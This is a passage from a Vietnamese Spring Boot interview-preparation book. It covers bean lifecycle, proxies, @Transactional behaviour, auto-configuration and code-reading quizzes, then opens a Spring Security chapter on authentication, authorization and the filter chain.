"Sau khi nâng cấp lên Boot 2.6, app báo circular reference, bạn xử lý thế nào?" — Không bật lại allow-circular-references như phản xạ đầu tiên; phân tích vì sao hai service phụ thuộc lẫn nhau, tách logic chung ra bean thứ ba hoặc dùng event, @Lazy chỉ là giải pháp tạm.



Câu hỏi (Hiểu sâu): Mô tả vòng đời của một Spring bean. Proxy AOP được tạo lúc nào?
Instantiate → populate properties → các Aware callback → postProcessBeforeInitialization → @PostConstruct, afterPropertiesSet, init-method → postProcessAfterInitialization (proxy được tạo ở đây) → sử dụng → @PreDestroy, destroy() khi context đóng.
	CÂU HỎI ĐÀO SÂU
"Gọi method @Transactional trong @PostConstruct có transaction không?" — Không, vì tại thời điểm đó proxy chưa bọc bean và lời gọi lại là qua this. Dùng ApplicationRunner hoặc @EventListener(ApplicationReadyEvent.class).



Câu hỏi (Cơ bản): Singleton bean có thread-safe không?
Không tự động. Singleton chỉ nói về số instance trong container, không liên quan đồng bộ hóa. Mọi request thread dùng chung instance, nên bean phải stateless. Tôi thường kể một bug thực tế: lưu kết quả trung gian vào field của service, dưới tải thì dữ liệu của user này lẫn sang user khác.
	BẪY THƯỜNG GẶP
Nhầm singleton của Spring với Singleton pattern "1 instance mỗi JVM". Spring singleton là 1 instance mỗi ApplicationContext; hai context vẫn có hai instance.



Câu hỏi (Hiểu sâu): Tiêm prototype bean vào singleton thì chuyện gì xảy ra? Xử lý thế nào?
Prototype chỉ được tạo một lần lúc singleton được tạo, nên mất ý nghĩa "mỗi lần một instance mới". Xử lý bằng ObjectProvider<T>.getObject(), @Lookup, hoặc scoped proxy. Tôi ưu tiên ObjectProvider vì tường minh và test dễ.
Câu hỏi (Hiểu sâu): Spring Boot auto-configuration hoạt động thế nào?
@EnableAutoConfiguration nạp danh sách class trong file AutoConfiguration.imports của các thư viện trên classpath. Mỗi class có các điều kiện @ConditionalOnClass, @ConditionalOnMissingBean, @ConditionalOnProperty; điều kiện thỏa thì bean mặc định được tạo. Bean do bạn tự khai báo được ưu tiên nhờ @ConditionalOnMissingBean.
	CÂU HỎI ĐÀO SÂU
"Làm sao biết vì sao một auto-configuration không được áp dụng?" — Chạy với --debug để xem Condition Evaluation Report, hoặc xem /actuator/conditions. "Viết starter riêng thì đăng ký ở đâu?" — Khai báo class trong META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports, không phải spring.factories như Boot 2 cũ.



Câu hỏi (Hiểu sâu): JDK dynamic proxy khác CGLIB thế nào? Spring Boot dùng cái nào?
JDK proxy implement interface, chỉ chặn method của interface. CGLIB tạo subclass, không proxy được class/method final. Spring Boot mặc định dùng CGLIB (proxy-target-class=true) kể cả khi bean có interface, để tránh lỗi inject theo class cụ thể.
	BẪY THƯỜNG GẶP
Khai báo service là final (hoặc dùng Kotlin class mặc định final) rồi thắc mắc vì sao @Transactional không chạy hoặc app không khởi động được.



Câu hỏi (Hiểu sâu): Gọi một method @Transactional từ method khác trong cùng class thì sao?
Lời gọi qua this không đi qua proxy, nên thuộc tính transaction của method được gọi bị bỏ qua. Nếu method ngoài không có transaction thì không có transaction nào cả; nếu method ngoài có transaction thì method trong chạy chung transaction đó, và mọi thiết lập như REQUIRES_NEW bị phớt lờ. Cách sửa: tách sang bean khác.
	CÂU HỎI ĐÀO SÂU
"Với @Async và @Cacheable có bị tương tự không?" — Có, cùng là AOP proxy. Ứng viên nối được vấn đề này sang các annotation khác cho thấy hiểu bản chất chứ không học thuộc.



Câu hỏi (Cơ bản): @Transactional rollback khi nào?
Mặc định chỉ với RuntimeException và Error. Checked exception thì commit. Muốn rollback cho checked exception phải khai báo rollbackFor. Exception bị catch và nuốt bên trong method thì không rollback.
	BẪY THƯỜNG GẶP
Trả lời "có exception là rollback". Đây là câu trả lời làm tôi đánh giá thấp nhất ở mức 2–4 năm, vì nó dẫn tới bug mất tiền thật trong dự án.



	CÂU HỎI ĐÀO SÂU
"UnexpectedRollbackException xuất hiện khi nào?" — Khi method con cùng transaction (REQUIRED) ném RuntimeException làm transaction bị đánh dấu rollback-only, method cha catch lại và cố commit.



Câu hỏi (Hiểu sâu): REQUIRED, REQUIRES_NEW, NESTED khác nhau thế nào? Khi nào dùng REQUIRES_NEW?
REQUIRED tham gia transaction hiện có; REQUIRES_NEW tạm dừng transaction hiện có và mở transaction độc lập, commit/rollback riêng; NESTED dùng savepoint trong cùng transaction. REQUIRES_NEW hợp cho audit log hoặc ghi nhận lần thử thất bại phải được lưu dù nghiệp vụ chính rollback.
	CÂU HỎI ĐÀO SÂU
"REQUIRES_NEW có rủi ro gì?" — Chiếm thêm một connection trong khi connection cũ vẫn giữ; nhiều thread cùng làm vậy có thể cạn pool và treo. Ngoài ra transaction con không thấy dữ liệu chưa commit của transaction cha, dễ gây deadlock nếu cùng đụng một row.



Câu hỏi (Thực chiến): Trong method @Transactional, bạn cần gọi API thanh toán bên ngoài. Bạn thiết kế thế nào?
Tôi không để lời gọi HTTP nằm trong transaction DB. Luồng hợp lý: transaction ngắn tạo đơn ở trạng thái PENDING → commit → gọi cổng thanh toán với idempotency key → transaction ngắn thứ hai cập nhật trạng thái. Nếu cần đảm bảo không mất sự kiện, dùng outbox pattern, và có job đối soát cho các đơn kẹt ở PENDING.
	BẪY THƯỜNG GẶP
Tăng maximum-pool-size hay timeout để "chữa" pool cạn thay vì rút ngắn transaction.



Câu hỏi (Hiểu sâu): Filter, Interceptor và AOP khác nhau thế nào? Bạn đặt logic log request, kiểm tra quyền, audit ở đâu?
Filter ở tầng Servlet, chạy trước DispatcherServlet, hợp cho security, CORS, gắn trace id, log request thô. Interceptor ở tầng Spring MVC, biết handler nào xử lý, hợp cho logic gắn với controller. AOP bọc method của bean bất kỳ, hợp cho transaction, audit ở tầng service. Log request: Filter. Audit nghiệp vụ: AOP hoặc event ở service.
	CÂU HỎI ĐÀO SÂU
"Exception ném ra trong Filter có được @RestControllerAdvice bắt không?" — Không, vì chưa tới DispatcherServlet. Phải xử lý trong filter hoặc qua cơ chế error của Spring Security (AuthenticationEntryPoint, AccessDeniedHandler).



Câu hỏi (Thực chiến): Bạn tổ chức xử lý lỗi và validation cho REST API ra sao?
Một @RestControllerAdvice duy nhất trả về ProblemDetail, map exception nghiệp vụ sang status code phù hợp, validation lỗi trả danh sách field lỗi, lỗi không lường trước trả 500 với thông điệp chung và log đầy đủ ở server kèm trace id. DTO dùng @Valid với jakarta.validation, quy tắc nghiệp vụ kiểm tra ở service.
	BẪY THƯỜNG GẶP
Trả ex.getMessage() của mọi exception về client: lộ tên bảng, câu SQL, đường dẫn nội bộ. Đây vừa là lỗi thiết kế vừa là lỗ hổng bảo mật.



Câu hỏi (Cơ bản): Bean là gì? Nó khác một object tạo bằng new ở đâu?
Bean là object bình thường nhưng do container của Spring tạo, nối dependency và quản lý vòng đời. Object tạo bằng new thì bạn tự lo mọi thứ: tự truyền dependency, không có proxy, không có @PostConstruct, @Transactional trên nó không có tác dụng. Ví dụ new OrderService(repo) trong code nghiệp vụ tạo ra một object không đi qua proxy, nên gọi method @Transactional của nó sẽ không mở transaction nào.
Câu hỏi (Cơ bản): @Component, @Service, @Repository và @Controller khác nhau thế nào?
Cả bốn đều đánh dấu class để component scan tạo bean; khác nhau ở ý nghĩa tầng và vài hành vi đi kèm. @Service, @Repository, @Controller đều được đánh dấu bằng @Component bên trong. @Repository có thêm việc dịch exception của JDBC/JPA sang DataAccessException của Spring. @Controller (và @RestController) được Spring MVC nhận làm nơi chứa handler. @Service hiện không thêm hành vi gì, chỉ giúp người đọc biết đây là tầng nghiệp vụ.
Câu hỏi (Cơ bản): @Bean khác @Component thế nào? Khi nào phải dùng @Bean?
@Component đặt trên class của bạn để Spring tự quét; @Bean đặt trên method trong class @Configuration, bạn tự viết code tạo object. Dùng @Bean khi không sửa được class (thư viện bên ngoài như ObjectMapper, RestClient, Clock) hoặc khi việc tạo cần logic (đọc cấu hình, chọn implementation). Ví dụ @Bean Clock clock() { return Clock.systemUTC(); } giúp service inject Clock và test được với Clock.fixed(...).
Câu hỏi (Cơ bản): Proxy là gì và vì sao Spring cần nó?
Proxy là object đứng thay object thật, cùng kiểu, nhận lời gọi, làm thêm việc trước và sau rồi chuyển tiếp. Spring cần proxy để thêm hành vi (transaction, cache, kiểm tra quyền, chạy bất đồng bộ) vào method mà không sửa code nghiệp vụ: bạn chỉ viết @Transactional, proxy lo BEGIN/COMMIT/ROLLBACK. Hệ quả cần nhớ: chỉ lời gọi đi qua proxy mới có các hành vi đó (xem ví dụ HandProxyDemo ở mục 4.4).
Câu hỏi (Cơ bản): @Transactional thực sự làm gì bên dưới?
Nó yêu cầu proxy mở transaction trước khi method chạy và commit hoặc rollback sau khi method kết thúc. Cụ thể TransactionInterceptor lấy connection từ pool, tắt auto-commit, gắn connection vào thread hiện tại để mọi repository dùng chung, gọi method thật, rồi commit nếu method trả về bình thường hoặc rollback nếu có RuntimeException/Error bay ra. Không có proxy (gọi qua this, method private, object tự new) thì không có gì trong số đó xảy ra.
Câu hỏi (Hiểu sâu): Vì sao mặc định checked exception không làm rollback?
Spring giữ quy ước từ EJB: checked exception được xem là một kết quả nghiệp vụ "đã lường trước", người gọi có thể xử lý, nên dữ liệu đã ghi vẫn có giá trị. Còn RuntimeException được xem là lỗi lập trình hoặc hệ thống, không thể tiếp tục an toàn. Trong thực tế quy ước này thường gây bất ngờ, nên nhiều team đặt rollbackFor = Exception.class hoặc chỉ dùng exception nghiệp vụ kế thừa RuntimeException. Điều quan trọng là bạn biết quy tắc và chọn có chủ đích.
	CÂU HỎI ĐÀO SÂU
"Có cách nào đổi mặc định cho cả ứng dụng không?" — Các bản Spring mới (từ 6.2, bạn nên kiểm tra tài liệu đúng phiên bản đang dùng) có tùy chọn rollbackOn trên @EnableTransactionManagement để đổi mặc định cho cả ứng dụng; với phiên bản cũ hơn thì dùng quy ước team hoặc annotation tự định nghĩa có @Transactional(rollbackFor = Exception.class).



Câu hỏi (Hiểu sâu): Vì sao @Transactional trên method private không có tác dụng, và vì sao Spring không báo lỗi?
Proxy (JDK hay CGLIB) chỉ chặn được method mà nó override hoặc implement được; method private không nằm trong số đó. CGLIB tạo subclass, mà subclass không override được method private; ngoài ra method private chỉ gọi được qua this từ bên trong class, luôn bỏ qua proxy. Spring không báo lỗi vì annotation chỉ là metadata, việc quét tìm annotation không nằm trên đường tạo proxy cho method đó. Đây là lý do cần review và cảnh báo của IDE.
Câu hỏi (Hiểu sâu): @Configuration khác @Component chứa method @Bean thế nào?
Class @Configuration được Spring bọc bằng CGLIB để mọi lời gọi giữa các method @Bean trả về đúng bean singleton trong container; class @Component thì không. Ví dụ method orderService() gọi dataSource() hai lần: trong @Configuration, cả hai lần nhận cùng một DataSource; trong @Component (hay @Configuration(proxyBeanMethods = false)), mỗi lần gọi tạo một DataSource mới, có thể mở hai connection pool. Spring Boot dùng proxyBeanMethods = false cho auto-configuration để khởi động nhanh hơn, vì chúng không gọi chéo method @Bean.
Câu hỏi (Hiểu sâu): So sánh @Value và @ConfigurationProperties. Khi nào dùng cái nào?
@Value hợp cho một hai giá trị lẻ; @ConfigurationProperties hợp cho một nhóm cấu hình của cùng một module. @ConfigurationProperties type-safe, bind được Duration/DataSize/list/map, validate lúc khởi động với @Validated, và dễ test vì chỉ là record. @Value rải khắp class thì khó biết module cần những key nào, gõ sai tên key chỉ phát hiện lúc chạy (hoặc dùng giá trị mặc định mà không ai hay). @Value vẫn tiện khi cần biểu thức SpEL.
Câu hỏi (Hiểu sâu): BeanPostProcessor là gì và liên quan gì tới @Transactional?
BeanPostProcessor là hook Spring gọi cho mọi bean trước và sau bước khởi tạo, được phép thay bean bằng object khác. Bộ xử lý AOP của Spring (AnnotationAwareAspectJAutoProxyCreator) là một BeanPostProcessor: ở postProcessAfterInitialization, nó kiểm tra bean có method nào khớp advice (@Transactional, @Async, @Cacheable, @Aspect) không, nếu có thì trả về proxy. Vì vậy bean trong container là proxy, còn bên trong @PostConstruct thì chưa.
Câu hỏi (Hiểu sâu): @Transactional(readOnly = true) có chặn được lệnh ghi không?
Không chắc chắn; nó là gợi ý tối ưu, không phải cơ chế bảo vệ. Hibernate đặt flush mode thủ công nên entity bị sửa sẽ không được flush tự động, driver có thể gọi Connection.setReadOnly(true). Nhưng một câu @Modifying @Query("update ...") vẫn có thể chạy thành công trên một số DB/driver, còn PostgreSQL thì báo lỗi "cannot execute UPDATE in a read-only transaction". Muốn chặn ghi thật, dùng user DB chỉ có quyền đọc hoặc read replica.
Câu hỏi (Hiểu sâu): Gọi method @Async từ trong một method @Transactional, method async có chạy trong transaction đó không?
Không. Transaction của Spring gắn với thread hiện tại, còn @Async chạy method trên thread khác của executor.
	NHẮC LẠI KIẾN THỨC
ThreadLocal cho mỗi thread một bản giá trị riêng; thread khác không nhìn thấy (xem mục 3.9). Spring lưu connection và trạng thái transaction trong ThreadLocal (qua TransactionSynchronizationManager).



Thread của executor không có connection của thread gọi, nên method async chạy không có transaction, hoặc mở transaction mới nếu nó tự có @Transactional. Hơn nữa nó có thể chạy trước khi transaction gọi nó commit, nên đọc DB sẽ không thấy dữ liệu vừa ghi. Cách đúng: phát event và xử lý bằng @TransactionalEventListener(phase = AFTER_COMMIT) kèm @Async.
	CÂU HỎI ĐÀO SÂU
"SecurityContext trong method @Async cũng mất, vì sao?" — Cùng lý do: nó cũng nằm trong ThreadLocal. Dùng DelegatingSecurityContextAsyncTaskExecutor hoặc truyền thông tin user tường minh.



Câu hỏi (Thực chiến): Log production cho thấy một đơn hàng có header mà không có dòng chi tiết, dù code có @Transactional. Bạn điều tra thế nào?
Nghi ngay tới việc transaction không thực sự bao trọn các lần ghi: self-invocation, method không public, exception bị nuốt, hoặc ghi ở thread khác. Các bước: bật logging.level.org.springframework.transaction.interceptor=TRACE (hoặc org.springframework.orm.jpa.JpaTransactionManager=DEBUG) ở môi trường tái hiện để thấy "Creating new transaction with name [...]" hay "Participating in existing transaction"; nếu method nghi ngờ không xuất hiện trong log thì lời gọi không qua proxy. Kiểm tra tiếp: có catch nuốt exception không, exception là checked không, có @Async/CompletableFuture chạy phần ghi ở thread khác không. Sửa gốc rễ rồi viết test tích hợp giả lập lỗi giữa chừng để chứng minh rollback.
Câu hỏi (Thực chiến): Hệ thống báo "HikariPool-1 - Connection is not available, request timed out after 30000ms" vào giờ cao điểm. Bạn xử lý thế nào?
Pool cạn nghĩa là connection bị giữ quá lâu hoặc bị giữ gấp đôi, tăng kích thước pool chỉ là giải pháp cuối. Điều tra: xem metric hikaricp.connections.active/pending trên Actuator/Prometheus; bật spring.datasource.hikari.leak-detection-threshold để log stack trace của nơi giữ connection lâu. Thủ phạm hay gặp: gọi HTTP bên ngoài trong @Transactional, REQUIRES_NEW lồng nhau (mỗi request giữ 2 connection), transaction bao cả vòng lặp xử lý hàng nghìn bản ghi, hoặc Open Session In View giữ connection tới lúc render xong response. Sửa bằng cách rút ngắn transaction, tắt spring.jpa.open-in-view, rồi mới tính lại kích thước pool theo số connection DB chịu được.
Câu hỏi (Thực chiến): Sau khi thêm module mới, app không khởi động và báo "required a bean of type '...' that could not be found". Bạn kiểm tra những gì?
Kiểm tra theo thứ tự: class có được quét không, có đúng annotation không, và bean có bị điều kiện loại bỏ không. Class nằm ngoài package của class @SpringBootApplication sẽ không được component scan (ví dụ ở mục 4.3). Thiếu @Service/@Component, hoặc interface repository nằm ngoài package được quét. Bean có @Profile("prod") mà đang chạy profile dev, hoặc @ConditionalOnProperty chưa bật. Với bean đến từ starter, chạy --debug và tìm tên auto-configuration trong "Negative matches".
Câu hỏi (Thực chiến): Bạn thêm spring-boot-starter-data-jpa vào một service chưa dùng DB, app không khởi động được nữa. Vì sao và sửa thế nào?
Starter kéo JPA và Hikari vào classpath, nên DataSourceAutoConfiguration được kích hoạt và đòi spring.datasource.url. Thông báo là "Failed to configure a DataSource: 'url' attribute is not specified and no embedded datasource could be configured". Đây chính là auto-configuration hoạt động đúng thiết kế (bước 3–4 ở mục 4.3). Sửa: cấu hình datasource nếu thật sự cần DB; nếu chỉ lỡ thêm dependency thì bỏ nó đi; còn loại trừ bằng @SpringBootApplication(exclude = DataSourceAutoConfiguration.class) chỉ nên dùng khi bạn hiểu mình đang tắt gì.
Câu hỏi (Đọc code): Gọi refund(10), bản ghi Refund có còn trong DB không?
	@Service
public class RefundService {
    private final RefundRepository refunds;
    public RefundService(RefundRepository refunds) { this.refunds = refunds; }
 
    @Transactional
    public void refund(long orderId) throws Exception {
        refunds.save(new Refund(orderId));
        if (orderId % 2 == 0) {
            throw new Exception("bank timeout");
        }
    }
}



Đáp án: Có, bản ghi vẫn còn. Từng bước: proxy mở transaction; save đưa Refund vào persistence context; 10 % 2 == 0 nên ném Exception("bank timeout"). Đây là checked exception, quy tắc mặc định là commit, nên Hibernate flush lệnh INSERT và proxy commit, rồi exception mới được ném tiếp cho người gọi. Người gọi thấy lỗi nhưng DB có refund, một bug có thể làm hoàn tiền hai lần. Đổi thành throw new IllegalStateException(...) hoặc thêm rollbackFor = Exception.class thì bản ghi bị rollback.
Câu hỏi (Đọc code): generateOne có chạy trong transaction riêng không?
	@Service
public class ReportService {
    @Transactional
    public void generateAll(List<Long> ids) {
        ids.forEach(this::generateOne);
    }
 
    @Transactional(propagation = Propagation.REQUIRES_NEW)
    public void generateOne(Long id) { /* insert report rows, may throw RuntimeException */ }
}



Đáp án: Không. generateAll được gọi qua proxy nên có một transaction. Các lời gọi generateOne đi qua this, không qua proxy, nên REQUIRES_NEW bị bỏ qua hoàn toàn và mọi report chạy trong một transaction chung. Nếu report thứ 5 ném RuntimeException, exception bay ra khỏi generateAll và 4 report trước cũng bị rollback, trái với ý định "mỗi report độc lập". Sửa: chuyển generateOne sang một bean khác, và bắt exception cho từng report nếu muốn các report còn lại tiếp tục.
Câu hỏi (Đọc code): Mỗi tham số của AlertService nhận bean nào?
	public interface Notifier { void send(String msg); }
 
@Component
@Primary
class EmailNotifier implements Notifier { public void send(String msg) { /* ... */ } }
 
@Component("sms")
class SmsNotifier implements Notifier { public void send(String msg) { /* ... */ } }
 
@Service
class AlertService {
    AlertService(Notifier notifier, @Qualifier("sms") Notifier urgent, List<Notifier> all) { /* ... */ }
}



Đáp án: notifier nhận EmailNotifier, urgent nhận SmsNotifier, all nhận cả hai. Từng bước: có hai bean kiểu Notifier; với tham số không có qualifier, Spring chọn bean @Primary là EmailNotifier. @Qualifier("sms") chỉ đích danh bean tên sms và được ưu tiên hơn @Primary. Tham số kiểu List<Notifier> nhận mọi bean cùng kiểu. Nếu bỏ @Primary, tham số notifier sẽ làm app dừng với NoUniqueBeanDefinitionException, trừ khi tên tham số trùng tên một bean (ví dụ đặt tên là emailNotifier), vì Spring dùng tên tham số làm qualifier dự phòng.
Câu hỏi (Đọc code): Chương trình Java thuần dưới đây in ra gì?
	public class ProxyQuiz {
    interface Counter { int next(); int nextTwice(); }
 
    static class RealCounter implements Counter {
        private int value;
        public int next() { return ++value; }
        public int nextTwice() { next(); return next(); }
    }
 
    static class CountingProxy implements Counter {
        private final Counter target;
        int intercepted;
        CountingProxy(Counter target) { this.target = target; }
        public int next() { intercepted++; return target.next(); }
        public int nextTwice() { intercepted++; return target.nextTwice(); }
    }
 
    public static void main(String[] args) {
        CountingProxy proxy = new CountingProxy(new RealCounter());
        proxy.next();
        int v = proxy.nextTwice();
        System.out.println(v + " " + proxy.intercepted);
    }
}



Đáp án: In ra 3 2. proxy.next() đi qua proxy (intercepted = 1), value = 1. proxy.nextTwice() đi qua proxy (intercepted = 2), bên trong RealCounter gọi next() hai lần qua this, nâng value lên 2 rồi 3 và trả về 3. Hai lời gọi nội bộ không đi qua proxy nên intercepted vẫn là 2, không phải 4. Đây là self-invocation thu nhỏ: nếu proxy là @Transactional, hai lời gọi next() bên trong không có transaction riêng.
Câu hỏi (Đọc code): Controller dưới đây có lỗi gì khi chạy trên production?
	@RestController
public class CartController {
    private final List<String> items = new ArrayList<>();
 
    @PostMapping("/cart/{sku}")
    public List<String> add(@PathVariable String sku) {
        items.add(sku);
        return items;
    }
}



Đáp án: Controller là singleton nên items là một giỏ hàng dùng chung cho mọi người dùng: An thêm sản phẩm thì Bình cũng thấy. Thêm nữa ArrayList không thread-safe, hai request đồng thời có thể làm mất phần tử hoặc ném ArrayIndexOutOfBoundsException, và danh sách lớn dần vô hạn gây tràn bộ nhớ. Sửa: controller không giữ state; giỏ hàng lưu theo user (DB, Redis, hoặc session nếu là web truyền thống), controller chỉ gọi service với id người dùng hiện tại.
4.8 Tóm tắt trọng tâm
1. Bean là object do container tạo và quản lý; container có thể cất proxy thay cho object thật, và đó là nền tảng của @Transactional, @Async, @Cacheable.
1. Dùng constructor injection với field final, vì dependency được bảo đảm có mặt, test bằng new được và vòng phụ thuộc lộ ra ngay lúc khởi động.
1. Circular dependency nên được giải bằng thiết kế lại (bean thứ ba, event), vì @Lazy hay allow-circular-references chỉ che vấn đề.
1. Proxy AOP được tạo ở postProcessAfterInitialization, nên trong @PostConstruct bean chưa được bọc và mọi annotation dựa trên proxy chưa có tác dụng.
1. Singleton bean dùng chung cho mọi thread, nên không được giữ state theo request trong field.
1. Auto-configuration là các class @AutoConfiguration có điều kiện; bean bạn tự khai báo thắng nhờ @ConditionalOnMissingBean, và --debug cho biết vì sao một cấu hình có hoặc không được áp dụng.
1. Proxy chỉ chặn được lời gọi từ bên ngoài đi qua nó; gọi qua this, method private hoặc final đều bỏ qua proxy mà không có cảnh báo.
1. JDK proxy implement interface còn CGLIB tạo subclass; Spring Boot mặc định dùng CGLIB, nên class và method có annotation không được final.
1. @Transactional mặc định chỉ rollback với RuntimeException và Error, vì checked exception được coi là kết quả nghiệp vụ; exception bị nuốt thì luôn commit.
1. REQUIRED làm method con chung số phận với transaction cha, nên con lỗi mà cha catch vẫn gây UnexpectedRollbackException.
1. REQUIRES_NEW cho kết quả độc lập (audit log) nhưng chiếm thêm một connection, dễ cạn pool dưới tải.
1. Không gọi HTTP bên ngoài trong transaction, vì connection và lock bị giữ suốt thời gian chờ mạng; tách thành các transaction ngắn, dùng AFTER_COMMIT hoặc outbox.
1. Filter đứng trước DispatcherServlet, Interceptor biết handler, AOP bọc method của bean; exception trong Filter không tới @RestControllerAdvice.
1. Mọi lỗi trả về một format ProblemDetail, log chi tiết ở server, không trả stack trace hay SQL cho client.
4.9 Checklist ôn tập
1. Giải thích IoC, DI và phân biệt DI với Dependency Inversion Principle.
1. Nêu 4 lý do dùng constructor injection và cách xử lý circular dependency (Boot 2.6+ cấm mặc định).
1. Kể đúng thứ tự bean lifecycle, chỉ ra bước tạo proxy AOP.
1. Nêu 6 scope, cách dùng prototype trong singleton (ObjectProvider, @Lookup, scoped proxy).
1. Giải thích vì sao singleton phải stateless.
1. Mô tả auto-configuration: starter, AutoConfiguration.imports, @Conditional*, cách debug.
1. Nắm thứ tự ưu tiên externalized config, profile, @ConfigurationProperties có validate.
1. So sánh JDK proxy và CGLIB, biết Boot mặc định dùng CGLIB.
1. Giải thích self-invocation, visibility (Spring 6 hỗ trợ protected/package với CGLIB), rollback rule, rollbackFor.
1. Phân biệt REQUIRED/REQUIRES_NEW/NESTED, rủi ro cạn pool, UnexpectedRollbackException.
1. Biết readOnly làm gì và không làm gì.
1. Thiết kế được luồng gọi API ngoài không nằm trong transaction (outbox, AFTER_COMMIT).
1. Viết được @RestControllerAdvice trả ProblemDetail, cấu hình validation.
1. Phân biệt Filter, Interceptor, AOP và biết Actuator endpoint nào không được expose.
Chương 5. Spring Security và xác thực
Nhiều ứng viên 2–4 năm chỉ copy file cấu hình security từ dự án cũ mà không hiểu request đi qua những bước nào. Tôi thường hỏi từ luồng filter, sang JWT và thu hồi token, rồi kết thúc bằng một lỗ hổng cụ thể như IDOR. Bạn không cần là chuyên gia bảo mật, nhưng phải biết mình tắt CSRF vì lý do gì.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Phân biệt authentication và authorization, 401 và 403.
1. Mô tả luồng xác thực trong Spring Security 6 và cấu hình SecurityFilterChain kiểu mới.
1. Nêu được trade-off session vs JWT, cách thu hồi token, refresh token, nơi lưu token.
1. Hiểu OAuth2/OIDC ở mức khái niệm và vai trò resource server.
1. Nhận diện các lỗ hổng phổ biến: SQL injection, XSS, IDOR, CSRF, lộ thông tin qua lỗi.



	NHẮC LẠI KIẾN THỨC
HTTP là stateless: server không nhớ gì giữa hai request. Cookie là dữ liệu nhỏ lưu ở trình duyệt và được trình duyệt tự động gửi kèm mọi request tới đúng domain; session là dữ liệu lưu ở server, nhận diện bằng session id (JSESSIONID) nằm trong cookie. Mã 401 và 403 thuộc nhóm 4xx (lỗi phía client). Xem N2.5.



5.1 Authentication, authorization và kiến trúc filter
Authentication trả lời "bạn là ai" (đăng nhập, xác minh token). Authorization trả lời "bạn được làm gì" (role, quyền trên tài nguyên). Chưa xác thực hoặc token sai → 401 Unauthorized; đã xác thực nhưng không đủ quyền → 403 Forbidden.
Ví dụ đời thường: vào một tòa nhà văn phòng, bạn quẹt thẻ nhân viên ở cổng, bảo vệ xác nhận bạn đúng là Nguyễn Văn An: đó là authentication. Lên tầng 5, cửa phòng server chỉ mở cho nhân viên IT, thẻ của bạn (phòng kế toán) bị từ chối: đó là authorization. Không có thẻ thì bị chặn ngay ở cổng (401); có thẻ hợp lệ nhưng không đủ quyền vào phòng thì bị chặn ở cửa phòng (403). Authentication luôn xảy ra trước, vì chưa biết bạn là ai thì không thể quyết định bạn được làm gì.
	# no token at all -> authentication fails
curl -i -X DELETE https://api.shop.vn/api/orders/7
# HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Bearer
 
# valid token of a normal user -> authenticated, but not allowed
curl -i -X DELETE -H "Authorization: Bearer <token-of-alice>" https://api.shop.vn/api/orders/7
# HTTP/1.1 403 Forbidden



Giải thích: Request đầu không mang thông tin định danh, server không biết ai đang gọi nên trả 401 kèm header WWW-Authenticate: Bearer để nói "hãy gửi Bearer token". Request thứ hai mang token hợp lệ của alice, server biết đó là alice nhưng rule DELETE chỉ cho admin, nên trả 403. Tên "401 Unauthorized" là cách đặt tên lịch sử gây nhầm lẫn: ý nghĩa thật là "unauthenticated".
Spring Security là một chuỗi Servlet Filter. DelegatingFilterProxy đăng ký với Servlet container, chuyển request cho FilterChainProxy, rồi FilterChainProxy chọn SecurityFilterChain phù hợp với URL. Trong chain có CorsFilter, CsrfFilter, các filter xác thực, ExceptionTranslationFilter và cuối cùng AuthorizationFilter. Người dùng đã xác thực được lưu trong SecurityContextHolder, mặc định dựa trên ThreadLocal.
	NHẮC LẠI KIẾN THỨC
Filter là class chặn request ở tầng Servlet, trước khi tới DispatcherServlet; mỗi filter làm việc của mình rồi gọi chain.doFilter(...) để chuyển request cho filter kế tiếp, hoặc không gọi để chặn request lại (xem mục 4.6). ThreadLocal cho mỗi thread một bản giá trị riêng (xem mục 3.9).



Request đi qua filter chain như thế nào
Filter chain là danh sách các filter được xếp theo thứ tự cố định; request đi qua lần lượt từng filter như qua các trạm kiểm soát. Mỗi filter của Spring Security chỉ lo một việc. DelegatingFilterProxy là "cầu nối" vì Tomcat chỉ biết filter Servlet, không biết bean Spring. Dưới đây là các filter chính (rút gọn) mà một request DELETE /api/orders/7 có JWT đi qua trong cấu hình ở mục 5.2:
	Tomcat -> DelegatingFilterProxy -> FilterChainProxy -> SecurityFilterChain "apiChain":
  1. SecurityContextHolderFilter        prepares an empty SecurityContext for this thread
  2. HeaderWriterFilter                 adds security headers (X-Content-Type-Options, ...)
  3. CorsFilter                         answers preflight OPTIONS, adds CORS headers
  4. (CsrfFilter)                       skipped here: csrf is disabled for this chain
  5. BearerTokenAuthenticationFilter    reads "Authorization: Bearer ...", verifies JWT -> Authentication
  6. AnonymousAuthenticationFilter      no Authentication yet? put an anonymous one
  7. ExceptionTranslationFilter         turns security exceptions below it into 401 / 403
  8. AuthorizationFilter                checks requestMatchers rules: DELETE needs ROLE_ADMIN
  -> DispatcherServlet -> OrderController



Giải thích:
1. Filter 1 chuẩn bị chỗ chứa thông tin người dùng cho thread đang xử lý request, và dọn nó khi request kết thúc (để thread trong pool không mang user cũ sang request sau).
1. Filter 5 là nơi authentication xảy ra: token sai chữ ký hoặc hết hạn thì trả 401 ngay tại đây. Token hợp lệ thì Authentication (chứa tên user và quyền) được đặt vào SecurityContextHolder.
1. Request không có token vẫn đi tiếp; filter 6 gắn một user "ẩn danh" để các bước sau có gì đó để kiểm tra.
1. Filter 8 là nơi authorization xảy ra: nó ném AccessDeniedException, và filter 7 (đứng ngay trước nó) bắt exception đó, trả 401 nếu user là ẩn danh hoặc 403 nếu đã đăng nhập.
1. Muốn xem danh sách filter thật của ứng dụng, bật logging.level.org.springframework.security=DEBUG: lúc khởi động Spring in ra toàn bộ filter theo thứ tự cho từng chain.
Luồng xác thực username/password
1. Filter xác thực đọc username/password, tạo UsernamePasswordAuthenticationToken chưa xác thực.
1. AuthenticationManager (thường là ProviderManager) duyệt danh sách AuthenticationProvider.
1. DaoAuthenticationProvider gọi UserDetailsService.loadUserByUsername() lấy user từ DB.
1. PasswordEncoder.matches() so mật khẩu thô với hash đã lưu.
1. Thành công: tạo Authentication đã xác thực kèm authorities, đặt vào SecurityContext.
Thuật ngữ trong luồng trên: principal là "người đang đăng nhập" (thường là username); authority là một quyền dạng chuỗi, ví dụ ROLE_ADMIN hay order:write; UserDetailsService là interface bạn implement để Spring biết cách tải user từ DB của bạn:
	@Service
public class DbUserDetailsService implements UserDetailsService {
    private final AppUserRepository users;
    public DbUserDetailsService(AppUserRepository users) { this.users = users; }
 
    @Override
    public UserDetails loadUserByUsername(String username) {
        AppUser u = users.findByUsername(username)
                .orElseThrow(() -> new UsernameNotFoundException(username));
        return User.withUsername(u.getUsername())
